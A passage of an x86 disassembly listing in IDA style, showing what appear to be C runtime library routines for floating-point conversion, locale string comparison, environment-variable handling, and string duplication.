loc_421FA8:				; CODE XREF: sub_421EA1+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421F7D


loc_421FB5:				; CODE XREF: sub_421EA1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421F61
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421FF8


loc_421FD3:				; CODE XREF: sub_421EA1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421FF1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213B6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421FD3


loc_421FF1:				; CODE XREF: sub_421EA1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_422031


loc_421FF8:				; CODE XREF: sub_421EA1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_422031
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_422011:				; CODE XREF: sub_421EA1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42201A
		inc	[ebp+var_14]


loc_42201A:				; CODE XREF: sub_421EA1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213E4
		dec	ebx
		pop	ecx
		jnz	short loc_422011
		cmp	[ebp+var_14], 0
		jz	short loc_422031
		or	byte ptr [ebp+var_24], 1


loc_422031:				; CODE XREF: sub_421EA1+155j
					; sub_421EA1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422048
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42207D


loc_422048:				; CODE XREF: sub_421EA1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42207A
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_422075
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42206F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_42206F:				; CODE XREF: sub_421EA1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_422075:				; CODE XREF: sub_421EA1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_42207A:				; CODE XREF: sub_421EA1+1ABj
		inc	[ebp+var_24+2]


loc_42207D:				; CODE XREF: sub_421EA1+1A5j
					; sub_421EA1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4220A1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_42209B:				; CODE XREF: sub_421EA1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4220BC
; ---------------------------------------------------------------------------


loc_4220A1:				; CODE XREF: sub_421EA1+42j
					; sub_421EA1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_4220BC:				; CODE XREF: sub_421EA1+ABj
					; sub_421EA1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: sub_4214D8+440p
					; sub_4219A9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43C090
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		jge	short loc_4220E9
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43C1F0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_4220E9:				; CODE XREF: sub_4220C1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4220F4
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_4220F4:				; CODE XREF: sub_4220C1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		push	esi
		push	edi


loc_4220FB:				; CODE XREF: sub_4220C1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422133
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422126
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_422126:				; CODE XREF: sub_4220C1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421EA1
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_422133:				; CODE XREF: sub_4220C1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4220FB
		pop	edi
		pop	esi


loc_42213A:				; CODE XREF: sub_4220C1+14j
					; sub_4220C1+36j
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42213D	proc near		; CODE XREF: sub_421DAE+5Ep
					; sub_422619+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42214A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42214A:				; CODE XREF: sub_42213D+7j
		push	dword_48B444
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_48B664
		call	sub_4221EA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422177
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422177:				; CODE XREF: sub_42213D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42213D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217C	proc near		; CODE XREF: sub_421DAE+1Ep
					; sub_422492+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_48A044
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4221DD
		mov	ebx, dword_424150


loc_422195:				; CODE XREF: sub_42217C+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4221E5
		push	ebp
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4221E5
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_4221E5
		push	edi
		push	[esp+18h+var_4]
		call	sub_422492
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422195


loc_4221DD:				; CODE XREF: sub_42217C+11j
		xor	eax, eax


loc_4221DF:				; CODE XREF: sub_42217C+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4221E5:				; CODE XREF: sub_42217C+29j
					; sub_42217C+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4221DF
sub_42217C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221EA	proc near		; CODE XREF: sub_42213D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C88
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_48A300, ebx
		push	1
		pop	edi
		jnz	short loc_42225D
		push	edi
		mov	eax, offset dword_4248D8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25A0000h
		test	eax, eax
		jz	short loc_42223A
		mov	dword_48A300, edi
		jmp	short loc_42225D
; ---------------------------------------------------------------------------


loc_42223A:				; CODE XREF: sub_4221EA+46j
		push	edi
		mov	eax, offset dword_43C824
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25A0753h
		test	eax, eax
		jz	loc_422453
		mov	dword_48A300, 2


loc_42225D:				; CODE XREF: sub_4221EA+31j
					; sub_4221EA+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422274
		push	esi
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_422274:				; CODE XREF: sub_4221EA+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422289
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_422289:				; CODE XREF: sub_4221EA+8Dj
		mov	eax, dword_48A300
		cmp	eax, 2
		jnz	short loc_4222AE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25A0753h
		nop
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_4221EA+A7j
		cmp	eax, edi
		jnz	loc_422453
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4222C3
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax


loc_4222C3:				; CODE XREF: sub_4221EA+CFj
		cmp	esi, ebx
		jz	short loc_4222D0
		cmp	[ebp+arg_14], ebx
		jnz	loc_422368


loc_4222D0:				; CODE XREF: sub_4221EA+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4222DD


loc_4222D5:				; CODE XREF: sub_4221EA+13Cj
					; sub_4221EA+16Dj
		push	2


loc_4222D7:				; CODE XREF: sub_4221EA+146j
		pop	eax
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222DD:				; CODE XREF: sub_4221EA+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4222E9


loc_4222E2:				; CODE XREF: sub_4221EA+151j
					; sub_4221EA+159j ...
		mov	eax, edi
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222E9:				; CODE XREF: sub_4221EA+F6j
		cmp	esi, edi
		jg	short loc_42232E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2881220h
		test	eax, eax
		jz	loc_422453
		cmp	esi, ebx
		jle	short loc_422332
		cmp	[ebp+var_3C], 2
		jb	short loc_42232E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42232E


loc_422314:				; CODE XREF: sub_4221EA+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42232E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422328
		cmp	cl, dl
		jbe	short loc_4222D5


loc_422328:				; CODE XREF: sub_4221EA+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422314


loc_42232E:				; CODE XREF: sub_4221EA+101j
					; sub_4221EA+120j ...
		push	3
		jmp	short loc_4222D7
; ---------------------------------------------------------------------------


loc_422332:				; CODE XREF: sub_4221EA+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422368
		cmp	[ebp+var_3C], 2
		jb	short loc_4222E2
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4222E2


loc_422345:				; CODE XREF: sub_4221EA+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4222E2
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42235D
		cmp	cl, dl
		jbe	loc_4222D5


loc_42235D:				; CODE XREF: sub_4221EA+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422345
		jmp	loc_4222E2
; ---------------------------------------------------------------------------


loc_422368:				; CODE XREF: sub_4221EA+E0j
					; sub_4221EA+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422453
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4223B7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4223B7:				; CODE XREF: sub_4221EA+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422453
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_424070
		call	esi
		test	eax, eax
		jz	short loc_422453
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422453
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422422
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_422422:				; CODE XREF: sub_4221EA+224j
		cmp	edi, ebx
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25A0000h
		jmp	short loc_422455
; ---------------------------------------------------------------------------


loc_422453:				; CODE XREF: sub_4221EA+63j
					; sub_4221EA+C6j ...
		xor	eax, eax


loc_422455:				; CODE XREF: sub_4221EA+BFj
					; sub_4221EA+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_422467	proc near		; CODE XREF: sub_41E709+81p
					; sub_4221EA+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422484


loc_422477:				; CODE XREF: sub_422467+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422484
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422477


loc_422484:				; CODE XREF: sub_422467+Ej
					; sub_422467+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42248F
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_42248F:				; CODE XREF: sub_422467+21j
		mov	eax, edx
		retn
sub_422467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422492	proc near		; CODE XREF: sub_42217C+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4224F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4226D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4224F6
		cmp	[ebp+arg_0], esi
		jz	short loc_4224F6
		mov	eax, dword_48A03C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_48A040
		jnz	short loc_4224DC
		push	eax
		call	sub_422671
		pop	ecx
		mov	dword_48A03C, eax


loc_4224DC:				; CODE XREF: sub_422492+3Cj
		cmp	eax, edi
		jnz	short loc_422534
		cmp	[ebp+arg_4], edi
		jz	short loc_4224FE
		cmp	dword_48A044, edi
		jz	short loc_4224FE
		call	sub_42217C
		test	eax, eax
		jz	short loc_422534


loc_4224F6:				; CODE XREF: sub_422492+Dj
					; sub_422492+22j ...
		or	eax, 0FFFFFFFFh


loc_4224F9:				; CODE XREF: sub_422492+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4224FE:				; CODE XREF: sub_422492+51j
					; sub_422492+59j
		cmp	ebx, edi
		jnz	loc_422612
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_48A03C, eax
		jz	short loc_4224F6
		mov	[eax], edi
		cmp	dword_48A044, edi
		jnz	short loc_422534
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_48A044, eax
		jz	short loc_4224F6
		mov	[eax], edi


loc_422534:				; CODE XREF: sub_422492+4Cj
					; sub_422492+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_48A03C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422619
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422594
		cmp	dword ptr [edi], 0
		jz	short loc_422594
		test	ebx, ebx
		jz	short loc_42258C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C3B
		pop	ecx


loc_422566:				; CODE XREF: sub_422492+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422576
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422566
; ---------------------------------------------------------------------------


loc_422576:				; CODE XREF: sub_422492+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4225C6
		jmp	short loc_4225C1
; ---------------------------------------------------------------------------


loc_42258C:				; CODE XREF: sub_422492+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4225C6
; ---------------------------------------------------------------------------


loc_422594:				; CODE XREF: sub_422492+BDj
					; sub_422492+C2j
		test	ebx, ebx
		jnz	short loc_422612
		test	esi, esi
		jge	short loc_42259E
		neg	esi


loc_42259E:				; CODE XREF: sub_422492+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4224F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4225C1:				; CODE XREF: sub_422492+F8j
		mov	dword_48A03C, eax


loc_4225C6:				; CODE XREF: sub_422492+F6j
					; sub_422492+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422612
		push	[ebp+arg_0]
		call	sub_417AB0
		inc	eax
		inc	eax
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422612
		push	[ebp+arg_0]
		push	esi
		call	sub_4179C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 2590143h
		push	esi
		call	sub_417C3B
		pop	ecx


loc_422612:				; CODE XREF: sub_422492+6Ej
					; sub_422492+104j ...
		xor	eax, eax
		jmp	loc_4224F9
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================



sub_422619	proc near		; CODE XREF: sub_422492+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_48A03C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422654
		mov	edi, [esp+8+arg_4]


loc_42262B:				; CODE XREF: sub_422619+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42264A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422664
		test	al, al
		jz	short loc_422664


loc_42264A:				; CODE XREF: sub_422619+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42262B


loc_422654:				; CODE XREF: sub_422619+Cj
		mov	eax, esi
		sub	eax, dword_48A03C
		sar	eax, 2
		neg	eax


loc_422661:				; CODE XREF: sub_422619+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422664:				; CODE XREF: sub_422619+2Bj
					; sub_422619+2Fj
		mov	eax, esi
		sub	eax, dword_48A03C
		sar	eax, 2
		jmp	short loc_422661
sub_422619	endp


; =============== S U B	R O U T	I N E =======================================



sub_422671	proc near		; CODE XREF: sub_422492+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422680
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422680:				; CODE XREF: sub_422671+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422692


loc_422688:				; CODE XREF: sub_422671+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422688


loc_422692:				; CODE XREF: sub_422671+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4226B3
		push	9
		call	sub_419CDA
		pop	ecx


loc_4226B3:				; CODE XREF: sub_422671+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4226B7:				; CODE XREF: sub_422671+5Bj
		test	eax, eax
		jz	short loc_4226CE
		push	eax
		add	ebx, 4
		call	sub_42274B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4226B7
; ---------------------------------------------------------------------------


loc_4226CE:				; CODE XREF: sub_422671+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D8	proc near		; CODE XREF: sub_422492+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_48B45C, 0
		jnz	short loc_4226F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418F50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4226F3:				; CODE XREF: sub_4226D8+Aj
		mov	ecx, [ebp+arg_0]


loc_4226F6:				; CODE XREF: sub_4226D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_422739
		movzx	edx, al
		test	byte_48B561[edx], 4
		jz	short loc_422725
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422730
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422734
		jmp	short loc_42272D
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_4226D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_422739


loc_42272D:				; CODE XREF: sub_4226D8+4Bj
		inc	ecx
		jmp	short loc_4226F6
; ---------------------------------------------------------------------------


loc_422730:				; CODE XREF: sub_4226D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422734:				; CODE XREF: sub_4226D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422739:				; CODE XREF: sub_4226D8+25j
					; sub_4226D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4226D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42274B	proc near		; CODE XREF: sub_40A7D7+21p
					; sub_422671+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422772
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422772
		push	esi
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422772:				; CODE XREF: sub_42274B+7j
					; sub_42274B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42274B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_422863+19p
					; sub_42298A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4046A3
		mov	eax, esi
		pop	esi
		retn	8
sub_422780	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227AA	proc near		; CODE XREF: ___:004227D5p
					; sub_422858+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_404667
		mov	ecx, esi
		pop	esi
		jmp	sub_422BA6
sub_4227AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227C5	proc near		; DATA XREF: ___:00424CA8o
					; ___:00424CB8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4227D1
		mov	eax, offset dword_424290

locret_4227D1:				; CODE XREF: sub_4227C5+5j
		retn
sub_4227C5	endp

; ---------------------------------------------------------------------------


loc_4227D2:				; DATA XREF: ___:off_424CA4o
		push	esi
		mov	esi, ecx
		call	sub_4227AA
		test	byte ptr [esp+8], 1
		jz	short loc_4227E8
		push	esi
		call	sub_4182AF
		pop	ecx


loc_4227E8:				; CODE XREF: ___:004227DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4227EE	proc near		; CODE XREF: sub_422863+29p
		mov	eax, offset loc_423122
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4227EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42283C	proc near		; DATA XREF: ___:off_424CB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422858
		test	[esp+4+arg_0], 1
		jz	short loc_422852
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422852:				; CODE XREF: sub_42283C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42283C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422858	proc near		; CODE XREF: sub_42283C+3p
					; DATA XREF: ___:0042502Co
